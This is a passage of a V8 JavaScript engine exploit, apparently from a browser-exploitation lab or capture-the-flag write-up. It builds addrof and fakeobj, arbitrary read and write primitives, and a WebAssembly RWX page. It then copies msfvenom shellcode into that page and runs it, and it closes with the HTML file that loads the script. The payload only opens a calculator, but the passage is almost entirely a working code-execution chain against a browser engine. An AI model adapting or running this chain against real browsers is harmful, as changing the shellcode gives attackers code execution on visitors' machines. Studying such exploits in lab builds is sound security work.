	obj_arr.oob(obj_arr_map);	
	
	// returning the integer representation of the leaked pointer
	return ftoi(addr);	
}

function fakeobj(addr) {
	// storing the float value of an arbitrary address as an element of fl_arr
	fl_arr[0] = itof(addr); 

	// oob write. replacing the map of the fl_arr to that of the obj_arr
	fl_arr.oob(obj_arr_map);

	// even though we are accessing fl_arr, the retur<F3>ned element will be a tagged pointer.
	let fake = fl_arr[0];

	// oob write. restoring original map of fl_arr
	fl_arr.oob(fl_arr_map);

	// returning tagged pointer of arbitrary address
	return fake;
}

var arb_rw_arr = [fl_arr_map, 1.2, 1.3, 1.4];
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
	addr += 1n;

    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}

function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);

    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}

function arb_write(addr, val) {
	// creating an ArrayBuffer holding the value of a 64-bit pointer
    let buf = new ArrayBuffer(8);
	
	// creating a dataview for the ArrayBuffer object
    let dataview = new DataView(buf);
	
	// retrieving the address of the ArrayBuffer object
    let buf_addr = addrof(buf);
	
	// retrieveing the address of the backing_store pointer of the
	// ArrayBuffer object located at offset +0x20
    let backing_store_addr = buf_addr + 0x20n;
	
	// overwritting the backing_store pointer with the value we desire
	// to overwrite
    initial_arb_write(backing_store_addr, addr);
	
	// using the dataview to dereference the backing pointer and to
	// do the write for us
    dataview.setBigUint64(0, BigInt(val), true);
	// syntax: setBigUint64(byteOffset, value, littleEndian)
}


function exploit() {
	
	// based on https://wasdk.github.io/WasmFiddle/
	// this is some 'container' code implementing a return 0 to force 
	// the creation of a RWX page. contents will be overwritten with shellcode
	var wasm_code = new Uint8Array([
			0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,
			128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,
			128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,
			101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,
			0,1,132,128,128,128,0,0,65,0,11]
	);
	var wasm_mod = new WebAssembly.Module(wasm_code);
	var wasm_instance = new WebAssembly.Instance(wasm_mod);
	// retrieving entry-point of wasm instance
	var f = wasm_instance.exports.main;

	// retrieving rwx page base at offset 0x88 from wasm instance
	var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);

	function copy_shellcode(addr, shellcode) {
	    let buf = new ArrayBuffer(0x100);
	    let dataview = new DataView(buf);
	    let buf_addr = addrof(buf);
	
	    // retrieving ArrayBuffer's backing store pointer at offset 0x20
	    let backing_store_addr = buf_addr + 0x20n;
	    initial_arb_write(backing_store_addr, addr);

	    for (let i = 0; i < shellcode.length; i++) {
		dataview.setUint32(4*i, shellcode[i], true);
	    }
	}

	// msfvenom -p linux/x64/exec CMD='xcalc' --format dword
	var shellcode=[					
		0x90909090,
		0x90909090,
		0x782fb848,
		0x636c6163,
		0x48500000,
		0x73752fb8,
		0x69622f72,
		0x8948506e,
		0xc03148e7,
		0x89485750,
		0xd23148e6,
		0x3ac0c748,
		0x50000030,
		0x4944b848,
		0x414c5053,
		0x48503d59,
		0x3148e289,
		0x485250c0,
		0xc748e289,
		0x00003bc0,
		0x050f00
	];
	copy_shellcode(rwx_page_addr, shellcode);
	f();
}
exploit();

The exploit.html layout should be as follows for the exploit to work:

$cat exploit.html
<html>
  <head>
    <script src="exploit.js"></script>
  </head>
</html>